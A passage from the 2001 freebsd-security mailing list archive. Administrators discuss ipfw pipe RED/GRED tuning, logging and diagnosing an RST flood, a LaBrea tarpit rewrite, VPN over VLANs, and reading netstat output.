> > Seriously, Adam and I are both fairly consciencious readers, and neither
> > of us can see how the RED / GRED configuration values are actually used.
> >
> > Ciao,
> > Sheldon.
> >
>  

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  4:31:14 2001
Delivered-To: freebsd-security@freebsd.org
Received: from raffles-it.com (raffles.demon.co.uk [158.152.17.201])
	by hub.freebsd.org (Postfix) with ESMTP id C83EE37B40E
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 04:31:08 -0700 (PDT)
Received: from arrow.lan.raffles-it.com (arrow.lan.raffles-it.com [192.168.100.51])
	by raffles-it.com (8.11.4/8.11.4) with ESMTP id f8RB8To85777;
	Thu, 27 Sep 2001 12:08:29 +0100 (BST)
	(envelope-from dpd@raffles-it.com)
Received: from arrow.lan.raffles-it.com (localhost [127.0.0.1])
	by arrow.lan.raffles-it.com (8.11.6/8.11.6) with ESMTP id f8RB8SF94548;
	Thu, 27 Sep 2001 12:08:28 +0100 (BST)
	(envelope-from dpd@lan.raffles-it.com)
Message-Id: <200109271108.f8RB8SF94548@arrow.lan.raffles-it.com>
X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4
To: "Tom Beer" <tom@analogon.com>
Cc: freebsd-security@FreeBSD.ORG, dpd@arrow.lan.raffles-it.com
Subject: Re: hacked? 
In-Reply-To: Message from "Tom Beer" <tom@analogon.com> 
   of "Wed, 26 Sep 2001 19:25:31 +0200." <010a01c146b2$b5372e60$0801a8c0@system> 
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1628407316P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 27 Sep 2001 12:08:28 +0100
From: David Dooley <dpd@raffles-it.com>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

--==_Exmh_-1628407316P
Content-Type: text/plain; charset=us-ascii


Tom,

The file '[' is a program otherwise known as test, do 'man test' or 
'man [' to find out more, 'man test or [' should display the same 
manual entry.

For several shells ,bash, I belive it is a builtin command also.

The reason for /stand has be detailed else where so I won't reiterate 
it here.

Enjoy

David.


--==_Exmh_-1628407316P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (FreeBSD)
Comment: Exmh version 2.3.1 01/18/2001

iD8DBQE7swisiTCzTVFwd6wRAkeCAKDkF3E6Gx1/5OAYYbjjuaMenpJnLwCg9bhD
psXdmwBes+fNQFcl3Z9BQKk=
=pfvP
-----END PGP SIGNATURE-----

--==_Exmh_-1628407316P--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  6:24: 2 2001
Delivered-To: freebsd-security@freebsd.org
Received: from salseiros.melim.com.br (salseiros.melim.com.br [200.215.110.23])
	by hub.freebsd.org (Postfix) with ESMTP id F0E5637B448
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 06:23:59 -0700 (PDT)
Received: from fazendinha (ressacada.melim.com.br [200.215.110.4])
	by salseiros.melim.com.br (Postfix) with SMTP id 01A27BA5B
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 10:19:34 -0300 (BRT)
Message-ID: <01eb01c14757$f699b580$2aa8a8c0@melim.com.br>
From: "Ronan Lucio" <ronan@melim.com.br>
To: <freebsd-security@freebsd.org>
Subject: flood attacks
Date: Thu, 27 Sep 2001 10:26:06 -0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi All,

Some times I´m having troubles with somebody attacking
my network by RST flood

I have two questions:

1. My FreeBSD-4.3 only show the message
    Limiting closed port RST response from 1800 to 200 packets per second.
    But, it don´t show the source IP of attack. I already looked at
    /var/log/messages, security and ipfw files and I saw nothing about this.
    Does anybody knows what option should I configure to FreeBSD show
    me such IP?

2. My computers are FreeBSD-4.3 and my router (Cisco) already has the
    option "no-ip-broadcast" seted.
    What more do I need to do to prevent such type of attacks?
    OBS: Monitorate it on saturday 4:00 a.m. is difficult. I need find out
              some way to automatize it.

Thank´s to all,

Ronan Lucio



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  6:34:46 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lazir.toya.net.pl (lazir.toya.net.pl [217.113.224.3])
	by hub.freebsd.org (Postfix) with SMTP id 52D5037B41E
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 06:34:32 -0700 (PDT)
Received: (qmail 15057 invoked by uid 791); 27 Sep 2001 13:33:34 -0000
Date: 27 Sep 2001 13:33:34 -0000
Message-ID: <20010927133334.15056.qmail@lazir.toya.net.pl>
From: airot@lazir.toya.net.pl
To: freebsd-security@freebsd.org
Subject: Re: flood attacks
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


Try sysctl -w net.inet.tcp.log_in_vain=1; sysctl -w net.inet.udp.log_in_vain=1
It will provide you with logging attemted connections to your box.

Regards.
			airot...

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  7:19:19 2001
Delivered-To: freebsd-security@freebsd.org
Received: from silby.com (cb34181-a.mdsn1.wi.home.com [24.14.173.39])
	by hub.freebsd.org (Postfix) with ESMTP id 8091337B401
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 07:19:15 -0700 (PDT)
Received: (qmail 78212 invoked by uid 1000); 27 Sep 2001 14:19:14 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Sep 2001 14:19:14 -0000
Date: Thu, 27 Sep 2001 09:19:14 -0500 (CDT)
From: Mike Silbersack <silby@silby.com>
To: Ronan Lucio <ronan@melim.com.br>
Cc: <freebsd-security@freebsd.org>
Subject: Re: flood attacks
In-Reply-To: <01eb01c14757$f699b580$2aa8a8c0@melim.com.br>
Message-ID: <20010927091553.N78196-100000@achilles.silby.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


On Thu, 27 Sep 2001, Ronan Lucio wrote:

> Hi All,
>
> Some times I=B4m having troubles with somebody attacking
> my network by RST flood
>
> I have two questions:
>
> 1. My FreeBSD-4.3 only show the message
>     Limiting closed port RST response from 1800 to 200 packets per second=
=2E
>     But, it don=B4t show the source IP of attack. I already looked at
>     /var/log/messages, security and ipfw files and I saw nothing about th=
is.
>     Does anybody knows what option should I configure to FreeBSD show
>     me such IP?

When it says "Limiting closed port RST response", what this means is that
*your* response is being limited.  They could be throwing almost any type
of packet at you.  In order to detect what's happening, you could install
a network IDS such as snort, or take captures with tcpdump.

Note that if the attack is spoofed, tracing it backs to its source may be
a lot of effort, and not worth it in this case.  Others on this list can
probably tell you more info about how to go about this.

Mike "Silby" Silbersacks


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  7:33:18 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mirage.secna.ru (mirage.secna.ru [212.192.0.20])
	by hub.freebsd.org (Postfix) with ESMTP id 96E4337B442
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 07:33:01 -0700 (PDT)
Received: from agtu.secna.ru (agtu.secna.ru [212.192.0.25])
	by mirage.secna.ru (8.9.1/8.9.1-secna) with ESMTP id VAA00305;
	Thu, 27 Sep 2001 21:32:56 +0700 (NOVST)
Received: from spider.secna.ru (spider.secna.ru [212.192.26.98]) by agtu.secna.ru (8.8.8/Relcom-2A) with ESMTP
	 id VAA29661 ;Thu, 27 Sep 2001 21:30:40 +0700 (NSD)
Message-ID: <3BB346AF.1F97B954@agtu.secna.ru>
Date: Thu, 27 Sep 2001 21:33:03 +0600
From: "Denis P. Kravar" <Denis_Kravar@agtu.secna.ru>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: ru,en
MIME-Version: 1.0
To: freebsd-security@FreeBSD.ORG
Subject: Re: flood attacks
References: <20010927133334.15056.qmail@lazir.toya.net.pl>
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

> Try sysctl -w net.inet.tcp.log_in_vain=1; sysctl -w net.inet.udp.log_in_vain=1
> It will provide you with logging attemted connections to your box.

It's only show trying connects on unlistened ports.
Your need sysctl -w net.inet.ip.fw.logging=1 or firewall_logging="YES" in rc.local
(or in rc.default)

--
With best regards Denis Kravar.
E-mail: Denis_Kravar@agtu.secna.ru
ICQ: 15561179



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  7:59:45 2001
Delivered-To: freebsd-security@freebsd.org
Received: from malraux.matranet.com (malraux.matranet.com [194.117.213.2])
	by hub.freebsd.org (Postfix) with ESMTP id A329E37B401
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 07:59:41 -0700 (PDT)
Received: by malraux.matranet.com; id RAA09268; Thu, 27 Sep 2001 17:00:13 +0200 (CEST)
Message-Id: <200109271500.RAA09268@malraux.matranet.com>
Date: Thu, 27 Sep 2001 17:05:04 +0200
From: Laurent Fabre <fabre@matranet.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010924
X-Accept-Language: en-us
MIME-Version: 1.0
To: Brett Glass <brett@lariat.org>
Cc: Will Andrews <will@physics.purdue.edu>,
	FreeBSD Security <security@FreeBSD.ORG>
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <4.3.2.7.2.20010925105333.04794430@localhost> <200109261355.PAA27232@malraux.matranet.com> <200109261904.VAA21740@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Brett Glass wrote:
> At 08:18 AM 9/26/2001, Laurent Fabre wrote:
> 
> 
>>I'm writing a new version of it because i think this little
>>piece of code is a good idea but it also lacks features.
>>I want to be able to emulate stacks behaviors on a OS basis
>>and try to speed up a bit the capturing process.
>>
> 
> What API are you using to get to the interface? I would think
> that divert sockets would be best because they can selectively
> route packets of interest out to userland for processing.
> 
> --Brett
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
> 
> 

I thought about it yup but....
The fact is I need to capture something lower than IP, just because
we need to monitor ARP request in order to acquire new IP addresses.
So all we got to do this as far as i know is BPF....
Maybe we could use netgraph :)
I wonder...never try this stream thingie, but it sounds nice.

By the way if anyone got an idea please do tell me :)


-- 
#--------------------------------------------#
#              Laurent Fabre                 #
#            fabre@matranet.com              #      /\    ASCII ribbon
#          EADS, Matranet Product Group      #      \/      campaign
#                                            #      /\	    against
# "foreach if-diff,                          #     /  \    HTML email
#  you need to re-make world...."            #
#--------------------------------------------#


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  8:43:44 2001
Delivered-To: freebsd-security@freebsd.org
Received: from web20701.mail.yahoo.com (web20701.mail.yahoo.com [216.136.226.174])
	by hub.freebsd.org (Postfix) with SMTP id 08D3737B40B
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 08:43:41 -0700 (PDT)
Message-ID: <20010927154336.79433.qmail@web20701.mail.yahoo.com>
Received: from [62.128.212.126] by web20701.mail.yahoo.com via HTTP; Thu, 27 Sep 2001 16:43:36 BST
Date: Thu, 27 Sep 2001 16:43:36 +0100 (BST)
From: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"?
To: Krzysztof Stryjek <wtp@agsmedia.pl>
Cc: freebsd-security@FreeBSD.ORG
In-Reply-To: <Pine.LNX.4.33.0109262244070.30078-100000@pooh.panska.agsmedia.pl>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi Krzysztof,

 --- Krzysztof Stryjek <wtp@agsmedia.pl> wrote: 
> On Wed, 26 Sep 2001, [iso-8859-1] Adam Nealis wrote:
> > and as a FreeBSD fan I'd like to use something that was
> > part of the core OS.
> >
> As it was said, you shod man dummynet, but I'm using bandwidth for
> outgoing ftp (firewall script):
> 
> # Add pipe for FTP transfers (-> world)
> ${fwcmd} add pipe 21 tcp from ${ip} to any out
> ${fwcmd} pipe 21 config mask src-port 21 proto ftp bw 24Kbit/s delay 5ms
> 
> # Allow TCP through if setup succeeded
> ${fwcmd} add pass tcp from any to any established
> 
> where ${ip} is my IP number. As you can see, it *should* be before next
> rule of accepting established connections.
I understand this use of ipfw as a method of bandwidth
control, however my question concerned the use of the
red|gred parameters to allow connections to have
available more than their nominal aggregate bandwidth
for short time spans. Which is what I meant by "bursting".

Cheers,
Adam.

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  8:47:27 2001
Delivered-To: freebsd-security@freebsd.org
Received: from web20703.mail.yahoo.com (web20703.mail.yahoo.com [216.136.226.176])
	by hub.freebsd.org (Postfix) with SMTP id 7C01437B422
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 08:47:25 -0700 (PDT)
Message-ID: <20010927154724.81159.qmail@web20703.mail.yahoo.com>
Received: from [62.128.212.126] by web20703.mail.yahoo.com via HTTP; Thu, 27 Sep 2001 16:47:24 BST
Date: Thu, 27 Sep 2001 16:47:24 +0100 (BST)
From: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"?  
To: "Aaron D.Gifford" <agifford@infowest.com>,
	freebsd-security@freebsd.org
In-Reply-To: <20010926211933.D1F29215E6@ns1.infowest.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Aaron,

 --- "Aaron D.Gifford" <agifford@infowest.com> wrote: 

> An excellent article on Active Queue Management written by Kostas 
> Pentikousis that includes some good stuff on RED can be found here:
> 
>   http://www.acm.org/crossroads/columns/connector/july2001.html
That was exactly what I was looking for. The graphs 2(b) and 2(c)
especially. Now I need to understand how to fiddle with ipfw pipe
with gred and/or ipfw queue with gred params...

Cheers,
Adam.

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  8:56:29 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mailtest.btconnex.net (mailtest.btconnex.net [209.47.192.8])
	by hub.freebsd.org (Postfix) with SMTP id DD78037B428
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 08:56:23 -0700 (PDT)
Received: (qmail 10594 invoked from network); 27 Sep 2001 15:56:09 -0000
Received: from unknown (HELO ?192.168.66.37?) (192.168.66.37)
  by mailtest.btconnex.net with SMTP; 27 Sep 2001 15:56:09 -0000
Date: Thu, 27 Sep 2001 11:56:06 -0400 (EDT)
From: Elliott Perrin <eperrin@beanfield.com>
X-X-Sender:  <eperrin@localhost>
To: <freebsd-net@freebsd.org>, <freebsd-security@freebsd.org>
Subject: VPN over VLANS and dynamic clients
Message-ID: <20010927114500.W77821-100000@localhost>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hello there, I am not currently subscribed to net or security so if I
could be CC'ed on all replies that would be excellent.

I am trying to setup VPN connectivity for a client that needs to be able
to log in to their office from dynamic IP's. I have setup VLANS over an
fxp card that corespond to their VLAN in our Cisco's. BTW, it is not an
option to setup the VPN through the Cisco as I cannot specify more than
one policy and we already have a client's VPN running through the Cisco.
The FBSD box has public IP and a private IP, both on vlan interfaces
(vlan0 and vlan1) with the private IP sitting on the subnet of the client.

I want to be able to have a client authenticate and be handed an IP from
the LAN that they are connecting to. so it would look like this.

client - dynamic IP ----> pub ip on FBSD--192.168. on FBSD (part of LAN)
   |--------------------------------------|
          need encryption between here

Have I been hitting the pipe too much this morning or is there a way to
accomplish this??? Any hints, advice are more than welcome.

Thanks
eperrin@beanfield.com



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  9: 9:51 2001
Delivered-To: freebsd-security@freebsd.org
Received: from R181172.resnet.ucsb.edu (R181172.resnet.ucsb.edu [128.111.181.172])
	by hub.freebsd.org (Postfix) with ESMTP id 3929037B620
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 09:09:46 -0700 (PDT)
Received: from localhost (mudman@localhost)
	by R181172.resnet.ucsb.edu (8.11.6/8.11.6) with ESMTP id f8RGAt201700;
	Thu, 27 Sep 2001 09:10:56 -0700 (PDT)
	(envelope-from mudman@R181172.resnet.ucsb.edu)
Date: Thu, 27 Sep 2001 09:10:55 -0700 (PDT)
From: Dave <mudman@R181172.resnet.ucsb.edu>
To: Ronan Lucio <ronan@melim.com.br>
Cc: <freebsd-security@FreeBSD.ORG>
Subject: Re: flood attacks
In-Reply-To: <01eb01c14757$f699b580$2aa8a8c0@melim.com.br>
Message-ID: <Pine.BSF.4.33.0109270907350.1695-100000@R181172.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

>     Limiting closed port RST response from 1800 to 200 packets per second.

Awhile back, I managed to reproduce this by portscanning myself with a
very fast scanner which doesn't wait for any kind of response from the
server before testing the next port.  The 1800 to 200 message thing sounds
quite general, so you could be getting flooded with lots of different
kinds of data.  If the messages come in briefly and then stop for awhile
(rather than a continus flow) you could just be getting a fast port scan.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  9:39:57 2001
Delivered-To: freebsd-security@freebsd.org
Received: from salseiros.melim.com.br (salseiros.melim.com.br [200.215.110.23])
	by hub.freebsd.org (Postfix) with ESMTP id BE8F137B61C
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 09:39:51 -0700 (PDT)
Received: from fazendinha (ressacada.melim.com.br [200.215.110.4])
	by salseiros.melim.com.br (Postfix) with SMTP
	id 4BC98BA17; Thu, 27 Sep 2001 13:35:24 -0300 (BRT)
Message-ID: <037601c14773$52a23da0$2aa8a8c0@melim.com.br>
From: "Ronan Lucio" <ronan@melim.com.br>
To: "Dave" <mudman@R181172.resnet.ucsb.edu>
Cc: <freebsd-security@FreeBSD.ORG>
References: <Pine.BSF.4.33.0109270907350.1695-100000@R181172.resnet.ucsb.edu>
Subject: Re: flood attacks
Date: Thu, 27 Sep 2001 13:41:57 -0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi Dave,

But, in my case, I looked at mrtg graphics and saw that
it had big flow during 1 hour.
So, I supposed to prevent such situation.

[ ]´s

Ronan Lucio

> >     Limiting closed port RST response from 1800 to 200 packets per
second.
>
> Awhile back, I managed to reproduce this by portscanning myself with a
> very fast scanner which doesn't wait for any kind of response from the
> server before testing the next port.  The 1800 to 200 message thing sounds
> quite general, so you could be getting flooded with lots of different
> kinds of data.  If the messages come in briefly and then stop for awhile
> (rather than a continus flow) you could just be getting a fast port scan.
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  9:57:38 2001
Delivered-To: freebsd-security@freebsd.org
Received: from www.suntop-cn.com (www.suntop-cn.com [61.140.76.155])
	by hub.freebsd.org (Postfix) with ESMTP id 5359937B428
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 09:57:33 -0700 (PDT)
Received: from win ([61.144.146.81])
	(authenticated)
	by www.suntop-cn.com (8.11.3/8.11.3) with ESMTP id f8RGvEE24047;
	Fri, 28 Sep 2001 00:57:16 +0800 (CST)
	(envelope-from slack@suntop-cn.com)
Message-ID: <000d01c14775$76997a00$9201a8c0@home.net>
From: "edwin chan" <slack@suntop-cn.com>
To: "Peter Pentchev" <roam@ringlet.net>
Cc: <freebsd-security@FreeBSD.ORG>
References: <000701c1469d$436b4d80$9201a8c0@home.net> <20010926192549.A633@ringworld.oblivion.bg>
Subject: Re: what 's the output mean ? maybe I am under attack ?
Date: Fri, 28 Sep 2001 00:57:09 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I think 998760 data packets retransmitted,but maked as 1014872219bytes.
maybe not a normal output ?

----- Original Message -----
From: "Peter Pentchev" <roam@ringlet.net>
To: "edwin chan" <slack@suntop-cn.com>
Cc: <freebsd-security@FreeBSD.ORG>
Sent: Thursday, September 27, 2001 12:25 AM
Subject: Re: what 's the output mean ? maybe I am under attack ?


> On Wed, Sep 26, 2001 at 11:09:34PM +0800, edwin chan wrote:
> > today, when i run "netstat -p tcp" i found something not normal, is it
mean
> > my box under attack ?
>
> What exactly do you consider to be 'not normal'?
>
> > $ netstat -p tcp
> > tcp:
> >         32949909 packets sent
> >                 26228892 data packets (553570256 bytes)
> >                 998760 data packets (1014872219 bytes) retransmitted
> >                 37 resends initiated by MTU discovery
> >                 5231789 ack-only packets (0 delayed)
> >                 0 URG only packets
> >                 27011 window probe packets
> >                 43314 window update packets
> >                 420146 control packets
> >         22126272 packets received
> >                 15191487 acks (for 455329912 bytes)
> >                 1713060 duplicate acks
> >                 397 acks for unsent data
> >                 4281933 packets (3828576231 bytes) received in-sequence
> >                 114136 completely duplicate packets (22646316 bytes)
> >                 0 old duplicate packets
> >                 541 packets with some dup. data (307470 bytes duped)
> >                 275937 out-of-order packets (110838044 bytes)
> >                 212 packets (54004 bytes) of data after window
> >                 0 window probes
> >                 270521 window update packets
>
> G'luck,
> Peter
>
> --
> This sentence every third, but it still comprehensible.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 10: 1:45 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 25E8E37B6DA
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:01:38 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id LAA15297;
	Thu, 27 Sep 2001 11:01:25 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010927105751.046e2440@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 27 Sep 2001 11:01:12 -0600
To: Laurent Fabre <fabre@matranet.com>
From: Brett Glass <brett@lariat.org>
